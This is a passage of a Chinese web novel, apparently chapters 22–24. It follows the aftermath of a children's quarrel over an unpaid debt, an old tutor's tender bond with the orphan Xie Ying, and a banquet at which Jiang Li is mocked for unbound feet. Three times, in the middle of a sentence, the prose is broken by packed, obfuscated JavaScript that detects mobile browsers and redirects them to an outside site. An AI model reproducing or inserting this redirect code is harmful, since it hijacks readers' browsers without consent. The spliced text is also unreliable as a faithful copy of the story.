姚大郎心说那我们家也没有蒋家有钱啊。但他只敢心里想，却不敢顶嘴，只低着头道：“孩儿只是觉得这本就是蒋大郎的事，我帮他贴钱办事，事情反正办好了，能省些也没什么错。倒是那少年贪得很，从蒋大郎手里已得了五十文却还想着要从我这里取尾款。” “短视！”姚人良骂道，“你要么就别答应别人出头，既答应了，事情该怎么办自然就应有个说定的章程。你若觉得舍不得自己出钱，那你就该直接对修哥儿说，以他的性格自也不可能欠了你，只怕是你自己想充大，先应了包在你身上，结果后来又舍不得才是真。” 知子莫若父。姚人良一句话便戳穿了真相，姚大郎不由地涨红了脸。 姚人良见自己说对了，更感气恼，说道：“蒋家与我们家是什么关系？你往日里心里的数揣得不够，现在跟着学做了这么段时间的买卖，也该揣够了才是。你能帮修哥儿办事，不仅是冲着我们两家现在的关系，更也是在为你的将来铺路，我都不知道你脑子里装的都是些什么，你打小我是缺了你用还是吃穿？你是那不曾见过钱的贫家么？就为了区区五十文也好意思赖账，说出去你是我儿子我都嫌没脸！” 姚大郎垂着头不敢言语。 “这第二件事，也是你办得最蠢的一件，就是你把修哥儿给‘卖’了。”姚人良深吸了一口气，确保自己不会被这劣子气地心梗厥过去，方沉声道，“你要赖账，若能赖得掉，那也算是你的本事。可你蠢得既暴露了自己，又自作聪明地以为先把话引到‘照金巷蒋家公子’身上，你就没事了。这可真是……让我说你什么好？” 段大娘子听到这里，总算是明白了儿子为何该打，于是也只能忍着心疼闭了嘴。 姚大郎却觉得自己也挺委屈。他当时之所以用了蒋修的名义，主要还是怕万一事情不顺，那袁四郎要算账什么的也该冤有头债有主，所以他觉得说“照金巷蒋家公子”并没有错。而凭蒋修那个性格，想必肯定也不会不认，那这事情自然而然也就正该由蒋家一力担下了。 左右不该扯到别人。 “我再问你一件，”姚人良道，“你今日可看出来你蒋二丈为何没有直接把这笔账先认下来，而是要等我们去了再认么？” 姚大郎有些茫然。 姚人良无奈道：“算了，我看你这几年就给我老老实实地学做买卖，巷子里的事你别再掺和，没有你搅和，你弟弟和蒋家郎娘还能交往得顺当些。” 陪跪在旁边的姚二郎顿时一阵紧张。 却听他大哥哥不服地说道：“爹爹还说呢，先前二郎要不是没帮上一嘴，这事在蒋二丈那里说不定还能兜些回来。” 姚二郎慌得都有些结巴了：“我、我嘴笨，真不知道那时候该怎么说，我有点害怕。”说着又期期艾艾地看向了父母。 姚人良却道：“你不开口才是对的。” 姚大郎和段大娘子都有些诧异。 “我先前说过了，修哥儿才是蒋家的未来。”姚人良道，“你们自以为在蒋二丈面前兜了些回来，却没看见修哥儿的脸色有多难看。此事本就是大郎答应了人家的事却没有办妥，惹来后患险些害得他被父亲训责，现下你们又要当着他的面去拖谢小郎下水，修哥儿又不是不知道内情，你们以为这么做他就高兴了？况谢夫子的面子你们蒋二丈也还是要卖的，你自以为做了明智之举，却不知实乃自作聪明。” 说罢，他又鼓励地对次子道：“以后你要对蒋家郎娘更尽心尽力些。” 姚二郎钝钝地点了点头：“哦……” 姚人良又想起什么，转而对妻子段氏说道：“回头你也去和如娘打个招呼，让她明天等娇娇上完课就早些过去一趟，代她兄长赔个礼，朋友间也好好安抚下。” 段大娘子知道丈夫的意思，于是点点头，应道：“官人放心，我待会就去与如娘说。” 姚人良觉得自己周全完了弥补之法，这才舒了口气。 *** 谢暎站在炕前，正语气平静地在对谢夫子说着来龙去脉。 “教训袁四郎的主意的确是我给善之出的。”他垂着眸，缓缓说道，“姚家兄弟也是我建议他找来帮忙的，我还给姚二郎出了主意，教他怎么去说服他兄长。但姚大郎做的事我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529277|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实不清楚，也不知道他会赖账不给。” 谢夫子伸手提壶，给自己添了杯热茶，口中似饶有兴趣地问道：“那你是如何肯定你教姚二郎的办法就有用的？” “我只是想着试一试。”到了此时此刻，谢暎觉得也没有再掩饰的必要，便言无不尽地道，“上次在蒋家吃席，我看他言行就觉得似是有些喜欢在我们中间充大，席上提起沈家大哥哥时，其他人多少都面露崇色，他却神色淡淡。姚二郎和姚小娘子与他关系也看着并不亲密，相比蒋、沈各家郎娘的相处，他们兄妹说话时对他更多是讨好与小心，既然善之不可能去求着他办事，姚二郎也多半求不动他办事，那我便猜大约激将法对他更有用。” 接着他就把自己是怎么教的姚二郎说了一遍。 “然后他就答应了。”谢暎叙述得很平淡，语气里没有半分自得，就好像这不是他办成的事。 “你还知道激将法。”谢夫子忽轻笑了一声，点点头，“看来倒是我小瞧了你这娃娃。” 谢暎没有说话。 然而须臾，谢夫子却又深深叹了口气，语声微轻地说道：“你得是看过多少脸色，才这般擅长看脸色啊！” 谢暎一愣，不由抬起了头，却正对上从叔祖目中满是怜爱的目光。 “……叔祖，您，”他忽然觉得鼻尖有些发酸，顿了顿，方缓道，“不觉得我可怕么？” 说完，他又半垂下眼帘，避开了对方的目光。 谢夫子微怔，看着眼前尚不满八岁的孩子，突然觉得自己明白了什么。 “这世上但凡有心之人就从无一个是真正没有心机的，区别不过在于有深浅、有善恶罢了。”谢夫子说道，“有些人厌你，是觉得你小小年纪不该这么聪明，可聪明有什么错呢？谁又规定你们这个年纪的孩子就只该有一个样子？要我说，只要立心不歪，便是好孩子。” 谢暎忽地抬眸朝他望去，眼眶早已红了。 谢夫子微微笑了笑，又道：“不瞒你说，我也是有心机的。譬如我对你好，并不是因我怜惜你的身世，也不是单为了对你三叔祖的承诺——我一个人在这里都光棍儿多少年了，自己活得自在，犯得着为山远水远的那些人去管闲事么？” “我啊，我对你好，就是希望有一天你能叫我声‘翁翁’。”他说，“然后等我老得眼花手抖接不了活儿的时候能给我养老，我死的时候呢，你能给我送终。” “咱们翁孙俩都是一个人，就这样凑个家也挺好的。”谢夫子想起什么，又呵呵一笑，“以后你娶媳妇儿的钱叔祖也给你攒着。” 谢暎哭了。 他只觉得自己忍了很久很久的眼泪，好像自母亲也走后就几乎没了的眼泪，突然之间就控制不住地发了大水。 他哭得泣不成声。 谢夫子含着笑，抬起袖子擦了把眼角，然后伸出手去摸了摸他的头，说道：“以后这里就是你的家。” 少顷，谢暎无声地点了点头。 22. 赴宴 蒋修已经在他爹爹的书室里站了快半炷香的时间了，他爹今日倒也不急着开口教训他，就坐在书桌后面一口茶一口茶慢悠悠地喝着，手里头闲闲地在翻着诗集。 他渐渐地就跟着那本诗集飘走了思绪，心里略疑惑地想也不知爹爹为什么偏喜欢摆出副很有学问的样子，明明又不是很懂。 “想明白今日这桩事了么？”蒋世泽冷不丁地开了口。 蒋修回过神，当即规矩地答道：“想明白了，我不该与同窗争强斗气，连累朋友。” 蒋世泽抬眸看向儿子，意味不明地笑了笑，说道：“那你觉得爹爹为何起先不让你认下那笔账，后来却又当着你姚大丈的面帮你认了呢？” 蒋修愣了愣，这才开始认真回忆起了当时细节。 “爹爹……”他试探地朝父亲看去，犹豫着道，“是不想让姚大丈觉得您傻？” 所以才要把姚家人叫到家里，当面锣对面鼓地让那少年先把欠账的人指出来，然后自家才出面认下这笔账。蒋修想明白了，觉得这大约就类似于“做好事要留名”？不然姚大郎只怕还在沾沾自得呢。 蒋世泽听了这话，抬眉薄斥道：“你老子的确不傻，用不着你说。” 儿子这话答得虽糙了些，但却是说对了。 蒋世泽嘲归嘲，心里却不免有些欣慰和得意，和姚人良那两个儿子比起来，自家大郎可争气太多。 “第一，”他这才正式开始了教子，“为人有情义是对的，但别把自己变成傻子，更别让他人将你当傻子。” “第二，以后做事要多动脑子，少逞意气。你这次只是害得自己病了一场，可若是家中大事也由得你这般与人斗气去做，只怕咱家就算是富可敌国也要被你给败光。”蒋世泽道，“再有，找人帮忙也要找个能帮得上忙的，一件这么小的事也能惊动到巷子里这么多长辈，这就是你自己的无能。” 蒋修起先以为父亲是要教训他贪玩好耍在外头惹事，原本心里还有点点不平，毕竟本就是袁四郎耍手段在先，他不过以其人之道还治其人之身罢了。唯一让他内疚的就是连累了谢暎，所以他才没有半句辩解。 却没想到父亲说的是这些。 蒋修呆了呆，然后忽然意识到什么，高兴道：“那爹爹不怪其他人帮我？” 蒋世泽知他关心的是谢暎，也笑了一笑，说道：“你能请得动朋友帮忙，那是你的本事，对错我都只认你。至于其他人，那是你应当去表示态度的，而不是爹娘。” 蒋修恍然大悟地点了点头：“我明白了。若是孩儿错了，爹爹就只管揍我，若是我朋友不好，那也该是孩儿自己与人家说。” 蒋世泽忍不住伸手捏了下儿子的脸：“孺子可教。” 蒋修别扭地红着脸抗议：“爹，我又不是娇娇！” 蒋世泽哈哈大笑。 次日清早，蒋修便先专门去了谢家喊谢暎上学，两人一照面，彼此都不约而同地在打量着对方。 “你没事吧？昨晚谢夫子骂你了么？”他边小声问着谢暎，边探着目光往对方身后的院子里望了一眼。 谢暎笑笑，说道：“没有。”又问，“你爹爹罚你了么？” “没。”蒋修这下才真正高兴了，说话时又恢复了以往的爽朗，他伸手搭住谢暎的肩膀，说道，“谢元郎，咱们以后可就是共过患难的死党了。” 谢暎笑了笑，开口时语气很平静：“为党可以，但我年纪还小，希望你能让我活得久些。” 蒋修一怔，新鲜道：“你怎么还学会嘲人了？” 谢暎只道：“走吧，上学了。” 两人刚说完话迈开步子要走，就见不远处的姚家开了大门，接着姚二郎便从里面走了出来。 三人两方乍然相对，姚二郎不由红着脸尴尬地低下了头。 虽然父亲说让他要比从前更尽心地和蒋修相处，他也想好了今日到学里要主动找蒋修说话，可突然间这么毫无准备地对上，他还是猝不及防地感到了一阵局促。 蒋修顿了顿，却是主动开口唤道：“姚二郎，你是还没睡醒么？” 姚二郎闻言一怔，似有些惊愕地抬了眸看来，然后回过神，便笑着快步跑到了蒋修和谢暎的面前。 “修哥儿，元郎。”他有些不好意思地说道，“昨天对不起，我也吓到了。” 谢暎浅浅笑了笑，没有说什么。 蒋修道：“行了，又不是第一天知道你胆子小。”随即招呼两人，“走吧，上学去。” 行至巷头，三人又正好碰上了坐在车里等候的沈约。 “我听说昨天巷子里闹了一阵，”他朝着对面车窗里的蒋修等人说道，“你们没事吧？” 蒋修笑道：“反正我们都没事。” 沈约其实已经从家里下人那里听说了，昨日蒋家那般大的动静，就是想让人不知道姚大郎干了什么事都难。 此时他见蒋修这样说，心里也就了然了，于是点点头不再多问，关上车窗，与旁车顺次缓缓往巷口而出。 *** 腊月初七，沈家老太太的大寿宴席终于如期而至。 蒋黎梳好妆后便先去了欢喜堂见母亲，蒋老太太笑眯眯地打量了女儿几圈，末了，满意地点了点头：“不错，女娃儿就是怎么穿都好看，就这个样子去见你那未来阿姑吧。” 蒋黎有些脸红，嘴上倔强地道：“我是去吃席，就算不见什么人也要好好拾掇的。” 蒋老太太笑着轻轻拍了拍女儿的脸。 蒋世泽和金大娘子夫妻俩也带着儿女们过来了，蒋修跟在父亲身边，蒋娇娇则被母亲牵着。 康氏所出的二哥儿也在，刚满四岁的他由乳母照顾着。 众人辞别过老太太，便一起出门去了巷头的沈家赴宴。 蒋家人到的时间不早不晚，恰好是沈家宾客已盈门，但又还未满席的时候。 蒋世泽和沈庆宗兄弟见了礼后，便由沈耀宗亲自领着去席上安置说话了。 蒋黎则陪她二嫂嫂带着孩子们去福寿堂拜见沈老太太。 一进门，蒋家姑嫂两个才发现郑家的人也在，来的正是郑家长媳王大娘子还有三媳高大娘子——也就是蒋黎的未来阿姑。 蒋黎有些意外，她没想到今日这样的场合里沈老太太竟会把郑家的人也留在屋里说话。需知沈、郑两家平日又没有什么往来，而今天沈老太太过寿，这屋子里坐的女眷基本上都是其故交或亲眷，似她们蒋家和姚家，已经算是“最近的外人”了。 那这很显然沈老太太就是看在蒋家的面子上了，因为知道她要和郑家结亲，所以才这样特意对待。 蒋黎想到这里，不免略感羞涩。 金大娘子也不着痕迹地朝她投来了心照不宣的眼神。 而几乎是同时，她也感觉到了来自郑家妯娌打量的目光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529278|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒋黎面上若无其事，却不由地微微更挺直了点背脊，心跳也因为略感拘谨而有些加速。 沈老太太今日穿了件织金的锦背夹袄，内家髻上插着把镂刻松柏长青画的象牙栉，鬓旁并簪着一对玉搔头。她微微含笑端坐于上，俨然一尊富贵庄严像，待受过了蒋家晚辈的礼后，方缓缓开口道：“你们有心了，快坐下说话吧。” 这种时候自然是不必小孩子也陪着待的，照惯例，蒋修和蒋娇娇“点完了卯”也就可以拜别长辈自己去找小伙伴们玩耍了。但蒋娇娇却不想和沈云如还有她那些亲戚姐妹玩儿，于是今日便像帖膏药似地黏在她母亲身边没动。 蒋修却不像她，自然坐不住。他等了等见妹妹没有要走的意思，又提示无果后，便只能自己道：“沈娘娘，我想去见见沈大哥哥和二郎。” 他来时就看见了，今日沈缙和沈约兄弟两个都在帮着他们爹爹待客，沈缙自不必说，至于沈约么，自然招待的就是他们这些同龄人了。 沈老太太自是笑笑应了。 四岁的蒋家二哥儿也想跟着他哥去玩儿，金大娘子不同意，蒋修原本也嫌他小不想带着，但转念一想，又对他娘亲道：“没事，他就跟着我，反正大家就一起说说话，也不跑动。” 金大娘子知道儿子的性格，不想当着这么多大人和外人的面驳他的想法，于是话转了个弯，说道：“你自己应下的事，就要做到，好好看着二哥儿。” 蒋修即保证道：“娘亲放心。” 话虽如此说，金大娘子还是示意了二哥儿的乳母好生跟着。 蒋修牵着弟弟出门后就直接去找了沈约，不想正好碰上姚家兄弟跟着家人过来，场面一度略有些尴尬。 当然，尴尬的自不会是蒋修，而是姚大郎。 自那日事情败露后，巷子里孩子们对他的态度就有些略微妙，谁也不曾当着他面说过什么，但除了自己弟弟外，却又谁都不再正眼看他。 就连小妹之如，也是自那时之后瞧着他便像是带了气。若是平时他准得叫住她教训，他才不像蒋修，不会惯着妹妹的臭毛病。 但这次爹娘也恼他坏事，他只能夹着尾巴等风头过去。 姚大郎也只好当自己不在乎这些，他想，反正自己大了，本就不用陪这些小孩儿闹腾。 沈缙平日在专心读书，加上这些事情家里长辈也不会特意告诉，所以他并不太清楚巷子里发生过什么，见到姚家兄弟和蒋修还主动招呼道：“让二郎带你们正好先凑到一桌去。” 蒋修对着沈缙倒是很给面子，礼貌地应道：“沈大哥哥不必操心我们几个，自去忙你的便是，我们都熟得很。” 沈缙就笑笑，又再同他们打过招呼后，叮嘱完弟弟便去了。 沈缙前脚刚走，姚大郎就做出若无其事的样子说道：“你们先过去吧，我也去爹爹那边看看。” 沈约客气地点了点头。 蒋修只当没听见。 姚二郎夹在中间没敢搭话，只能无声地表示了对兄长的回应。 姚大郎走后，姚二郎便像是为了避免尴尬一样地随意找了个话题开口：“谢元郎还没来么？” 蒋修回道：“他还在孝中。” 自是不能来这样的场合了。 姚二郎后知后觉反应过来，到底还是不可避免地尴尬了一把。 蒋修又问沈约道：“你大姐姐呢？” 23. 羞耻 沈云如被弟弟沈约派过来的女使从暖亭里叫了出来，说是人在花园那边等着她过去说几句话。然而等她到了地方之后，却只见到个带着销金虎头帽的小童正捧着方罗袋站在梅花树下，恰是蒋修那个四岁的庶弟。 这小娃怎么会独个儿走到这里来？她意外之余也略感疑惑，自觉情况有异，于是四下里看了圈，果然瞧见蒋修正在不远处的廊下探头探脑。 沈云如心下斟酌间，人已经走到了蒋家二哥儿的面前，向着对方开口问道：“怎么只你一人在这里？” 蒋家二哥儿就努力地抬高手将罗袋往她面前送了送，圆圆的眼睛直直盯着她，说道：“大哥哥给你的，他说对不起。” 蒋修的原话其实是：你把这个给她，就说我虽不知她生什么气，但既然是我得罪了她，那我就向她赔不是了，谢谢她之前让你沈二哥哥送探望礼来给我。 但蒋家二哥儿哪里能记得住那么许多，故而只凭着他小小年纪的机灵说了重点。 此时身在数步之外的蒋修丝毫不知他二弟完全没有传达出他本不欲弱于人的深层精神，只看见沈云如先是一愣然后便弯着唇角把东西接了过去的样子，他还如释重负地心想这小娃做事还行。 要他当面给沈云如道歉送礼，他多少还是觉得有点不自在。况以他对沈云如性格的粗略了解，他也没办法保证这次就不会无意中得罪她，那他不得一礼未成，还须礼上加礼啊？ 蒋娇娇没法派上用场，他只好动用了二哥儿。猜想再如何沈云如也不会对个小娃娃甩脸色吧？他正好前事今日毕，若她还有什么不高兴的，沈约也不能怪他了。 蒋修对自己的计划感到很满意，美滋滋地靠着柱子遥望着沈云如的神色，静等着对方解开袋子瞧见里面东西时的惊喜。 沈云如确实当面就把罗袋给解开了。 她解开之前还忍不住轻轻摸了摸，觉得这罗袋十分精致好看，就算里面不装别的什么，只看这花罗的质等和样式也足够当做给她的礼物了。 沈云如对袋子里的东西也就更加期待。 结果下一刻，她就猝不及防地惊叫出了声。 “啊！”伴随着口中轻喊，沈云如本能地丢开了手。 一张栩栩如生长着獠牙的傩鬼面具随即应声落地，因是榉木所做，所以掉在地上时还颇有些分量地滚了几滚。 蒋家二哥儿呆了呆。 远处的蒋修也愣了愣。 因想到自己大哥哥说若做不好这件事以后就不带着他玩了，蒋家二哥儿连忙又迈着小短腿走过去把面具捡了起来。 沈云如一看他还要往自己跟前凑，也顾不得去想什么仪节不仪节了，忙后退了一步，急道：“你拿开些！” 她这一声颇有威仪，蒋家二哥儿不由地倏然站定。 蒋修见状不对，此时也已经跑了过来。 他先伸手牵过二哥儿往身侧一护，然后皱着眉对沈云如劝道：“他还小，你别对他吼。” 然而沈云如乍见到他，顿时更觉气恼直冲天灵，涨红了脸斥道：“蒋大郎你到底什么意思？你轻视我不够，还要找你庶弟一同来戏弄我？我吼了他又怎么？在我们家庶房焉能如此放肆？也就你们家才能做出这样上不得台面的事！” 她先前后退时险些脚下不稳摔倒，若脏了衣服回去岂不让人嘲笑？她觉得蒋修兄弟两个就是故意的。 此时她在气头上，也没有去想为什么自己弟弟会帮着蒋修把自己约出来，只一味发泄着怒火。 蒋修听她这般口不择言，一怔之后也恼了，说道：“你说我就说我，带我们家干嘛？”又冷笑一声，嘲道，“沈小娘子不愧出身官户，派头挺足，不怪我妹妹不喜欢同你玩儿，她一个被全家娇惯着养的，脾气再大却也不曾像你这般动辄瞧不起人。” 沈云如不料被他这般劈头盖脸地嘲讽一通，顿时更感羞愤，正要张口再理论，却听蒋修又续道：“我原是为上次在你家门前不知怎地得罪了你来道歉的，这面具我还找了许久，早市晚市都去了两回才寻到个觉得够特别的，你瞧不上就算了，便是你说一句你另喜欢别的样子我也能再去重新找过，何必这样出口伤人？！” 他觉得自己已经放下姿态主动来示好了，而沈云如却一开口便是高高在上的架势，不由越想就越气不过，索性便摆开了来说。 谁知沈云如听了他这番话，却是忽然顿住了。 她盯着他看了半晌。 “我喜欢样子漂亮的。”她微微一抬下巴，语气略显僵硬地如是说道。 蒋修愣了愣，还没反应过来，就又看见对方朝二哥儿招了招手。 “我带你去吃点心，很好吃。”她径自对二哥儿说道。 蒋家二哥儿仰着头看了看他大哥哥的脸色。 蒋修此时已看出来沈云如这是打算佯作无事地把这页给翻过去，只当两人不曾吵过嘴。 他本也不是当真斤斤计较的人，此时沈云如已然退了一步，他自然也不可能再去跟一个女孩儿家较真，于是不等人催，便已自觉主动地先开了口搭话道：“成，回头我另给你买个。”又道，“我答应了娘要好生看着他，便随着沾沾光了。” 沈云如看了他一眼，说道：“那我再另拿些给你带去那边席上和二郎他们一起吃。” 蒋修就顺着对方捧场地点了点头。 *** 福寿堂里，沈家的女使正在给客人们换茶。 趁着大人们正说说笑笑的热闹氛围，蒋娇娇和坐在自己旁边的姚之如也理所当然地在交头接耳。 “我们要是一直不去沈小娘子那边席上，会不会不太好？”姚之如委婉地与好朋友商量道，“要不你陪我去坐一会儿？” 她和蒋娇娇的情况到底有些不同。沈云如并没有得罪她，而且现在还在带着她预学劝淑斋的课程，这样的场合要她陪着蒋娇娇去疏远人家，以她的心情来说多少还是有些愧疚，更何况还当着长辈们的面，那说来也是她不知礼节。 蒋娇娇有些犹豫。 若是平常，她可能也就忍忍陪着姚之如去了，可今日沈云如那里还有许多沈家的亲友之女，那也就是说她会见到更不想见到的人。蒋娇娇只要想到这点，就浑身都不舒服。 她只能对不起姚之如了。 “我想陪着我娘亲，”她说道，“你自己去吧。” 姚之如盯了盯她的脸色，见对方好像确实没有什么不高兴的样子，才略放了心，又道：“那我去了，你不许生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529279|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。” 蒋娇娇就道：“我不生气。”说完忽觉自己对这回答也不太能肯定，便又补了句，“但你不要在她那边玩太久。” 姚之如点点头，准备起身向长辈们告别。 谁知就在此时，一旁却忽地传来了“哎呀”一声惊呼，接着便是瓷盏碎裂在地的声音。 两个女孩子瞬间都被吸引了注意力。 事情就发生在蒋娇娇身边，她回过头，恰看见一个沈家的女使正蹲在她小姑姑蒋黎的面前，急急地伸手去提后者的裙摆。 地上散落着的茶盏碎片和一大滩水渍距离蒋黎只有咫尺之距。 “小娘子对不住，”那女使一边动作，一边慌张地忙问道，“可烫着了？” 蒋黎也是一时有些无措。 事情发生得太突然，谁都没想到这女使在替她换茶的时候竟突然手里打了滑，茶盏掉下来时先是碰到了她的腿，茶水当时已经瞬间泼将出来，接着瓷盏便滚落在地，在她脚边乍然碎成了几片。 堂中众人纷纷应声将目光投了过来。 沈老太太见状也皱起了眉，唐大娘子身为主母更是当即直接开口斥道：“还愣着做什么？不赶紧领蒋家娘子去偏室整理更衣？”又吩咐自己的贴身女使，“去取些烫伤膏药来。” 蒋黎下意识站了起来，说道：“不碍事，不烫的。” 这是待客的茶水，烫自然是不烫的，温热正好，此时她的裙子虽被打湿了但在燃了木炭的室内却也尚不觉有凉意。但沈家这个女使的反应太快——或者说手太快，以至于她根本来不及避开，对方就像是生怕她被烫着似地，迫不及待地伸手提了下她的裙摆。 虽只是略略一提，而蒋黎的裙子也比一般制式的裙摆更长阔，但这一提，却已足够让她的双脚暴露于人前了。 蒋黎虽本能地觉得有些尴尬，但也并未太过在意。 然而让她怎么也没想到的是，下一刻便有人当着堂中这么多双眼睛开了口。 “蒋四娘子，原来你竟不曾裹脚么？”说话的是沈老太太的娘家表妹，王老太太。 此时她这话出口，虽似不带什么恶意，但却充满了显而易见的新奇和讶然。 只听她接着又笑跟了句：“我瞧着你脚上那双鞋倒是也很精致，竟不比弓鞋少秀美，想来也是你们家那独一份儿吧？” 这话听着的确像是个无心人在有心地行赞美之事，可在场的所有人都并未顺着这话去附和赞捧蒋家生意做得如何如何，反而因此言不约而同地更集中将焦点落在了蒋黎的裙下。 虽然她的裙摆足够长阔，但在这一刻，这样的长阔本身就是一种异样。 仿佛不用谁说，所有人就都心知肚明了她的裙子为何是做成这样的款式。 恰在此时，不知谁半笑地说了句：“那倒是可惜都被蒋小娘子的长裙给遮住了。” 蒋黎举目望去，只见说话的年轻妇人正是某个官户的女眷，她突然不记得对方家里头该怎么称呼了，只大概晓得那里几个坐着的家里头官人都是沈主簿的僚友。 而周围的女眷也似是都在隐隐忍笑。 一阵无形的压迫感倏然于四面八方涌来，她甚至不敢去看郑家人此时的神情，霎时已面红耳赤。 24. 大脚 蒋娇娇有些愣愣地看着周围的大人，又愣愣地随之将目光转向了她小姑，当她看见蒋黎涨红了脸背着手在轻扯裙摆的时候，她好像明白了什么，又茫然地低头朝自己身上这条和小姑一样制式的裙子看去——还有，她自己晓得的，藏在裙摆下的那双脚。 金大娘子忽然站了起来，她含着笑，自然而然地上前一步把蒋黎挡在了身后，对王老太太说道：“老太太好眼力，我家阿姑最是疼爱这个幺女，自来什么都是可着好的给，别说是长裙绣鞋，就连她睡的床那也能躺三个人不嫌多，确然样样都是独一份，官人孝顺，自也是不吝花费。” 王老太太只呵呵地笑，如同寻常的疑惑得到了解答，并没有特别的表现。 而至于沈庆宗那几个僚友的家眷，则笑容有些牵强地转开了略带轻屑的目光。 沈老太太若无其事地开口说道：“快带四娘去更衣吧，天冷了，仔细着了凉。” 金大娘子便吩咐自己的贴身女使珠蕊亲自陪着蒋黎去了。 姚之如轻轻扯了扯蒋娇娇的袖子。 后者回过神来，想了想，对金大娘子说道：“娘，我和之之去沈姐姐那里坐坐。” 唐大娘子就叫了女使要带她们过去。 但才出了门，蒋娇娇便对那沈家的女使说道：“我去和小姑说一声，你带姚小娘子先过去吧，我晚些再到。” 姚之如本也是怕蒋娇娇在长辈们面前坐着再听下去不好，蒋家姑姑的尴尬是那般显而易见，就连自己娘亲段大娘子当时都没敢插话，这种时候她们做晚辈的也只能回避了。 因她不好陪着去看蒋黎，便只能对蒋娇娇道：“那你空了过来。” 两人在门前分了手，各自朝着不同的方向走去。 蒋娇娇摸索着走到了福寿堂院北的廊屋外，听见里面隐约有人声，于是便敲了敲门。 隔了几息屋里才传来了珠蕊略带防备的声音：“是谁？” 蒋娇娇道：“我。” 门很快被打开了。 “大姑娘。”珠蕊伸手要牵她，“快进来。” 蒋娇娇自己跑了进去。 蒋黎正坐在椅子上抹眼泪，身上弄脏的裙子还没有换下来，室内没有烧炭取暖，此时在略显阴冷的气氛中那几片水渍更是显得尤其扎眼。 蒋娇娇抬眸直直盯着她小姑，没有说话。 蒋黎也没看她，只兀自无声地掉着眼泪，又无声地用手巾擦去，似是不想说话，又像是说不出来话。 “小姑，”蒋娇娇小声地问道，“我们穿的裙子和鞋子是不是不好？” 蒋黎一愣，然后强忍着泪意咬了咬唇，对她道：“不是。” 没有什么不好。她明明知道的，可还是忍不住觉得丢人，觉得委屈，甚至忍到最后到底是没忍住涌出泪来。 蒋黎既恨又怨。 恨那些多嘴的俗人，又怨自己不争气。 可越是想做出副无动于衷的样子，她就越是不由自主地想到当时周遭的目光，心中蔓延而出的羞耻感根本就不受控制。 几乎是刚一关上门，她就哭了出来。 蒋娇娇沉默着。 珠蕊劝道：“四姑娘，还是先把裙子换下来吧，小心受了凉。” 蒋黎此时也差不多冷静了下来，或者说她很清楚地知道自己并没有时间在这里久留。 她必须若无其事地回到众人中间，正正常常地吃完这顿酒席，然后才能如愿回到家。 “你去找沈家的女使要些冷水来。”蒋黎深吸了一口气，吩咐自己的女使琥珀，“就说是见我皮肤有些发红，需要略敷一敷。” 她要尽快让哭红的眼睛恢复正常。 琥珀应下后便忙忙去了。 蒋娇娇在旁边静静看着，见小姑姑蒋黎重新换上裙子时又往下扯了扯裙摆，走路也明显比平时收小了几分步幅，她不由地也下意识扯了扯自己的裙子。 但好像还是不够长？她这样疑心着，忽然很想回家。 *** 蒋老太太午觉才睡到一半便忽然醒了。 谈妈妈见她还没到平时的时间就要起来，忙一边招呼女使伺候着，一边关心地问道：“老太太这是发了梦魇？” 蒋老太太摇摇头：“梦魇倒不曾，只是莫名睡不踏实。”言罢顿了顿，问道，“黎娘呢？” 谈妈妈道：“老太太忘了，四姑娘还在沈家宴上呢，大席都开得晚。” “哦，对，瞧着是我睡糊涂了。”蒋老太太笑了笑，由得女使秋桂扶了自己起来，正要往炕边去，便听得下头人来报说是家里人去完席宴都回来了。 这么早？蒋老太太不由有些诧异。 更让她没想到的是，随后儿子、媳妇并女儿就都一起过来了欢喜堂，三个人更是一个比一个脸色不好。 蒋老太太觉得很奇怪，尤其当见到儿子世泽那明显压着火气的样子时，就更感不妙，于是问道：“你们这是怎么了？难道沈家席上出了什么事？” 金大娘子不好开这个口，蒋黎则垂着眸没有言语。 最后还是蒋世泽忍不住了，没好气地看了眼妹妹，然后朝母亲说道：“娘，今日阿黎在沈家那一众书香富贵女眷面前丢了大丑，我原先就说您不能这么纵着她，今日郑家妯娌也都在，回头这话一传回去，人人都晓得她没有裹脚了，只怕人家就算想装聋作哑都拉不下来那个脸面。” 就连蒋世泽自己都觉得有些丢人，更何况人家？ 他不免怨怪蒋黎道：“别人家的小娘子都能裹，怎么就你不行？上至天家，下至市井富户，你瞧瞧人家那些女子，哪个没有婀娜姿态？你日日跟在你嫂嫂身边，看也该看得见什么叫女子之秀，往时我说的你们不听，现下非得让外人指着酸笑才晓得难堪。” 蒋黎低着头一言不发。 金大娘子出声劝道：“官人，那些人不过嘴上说说，其实本也不是人人都裹的，也没有什么。” 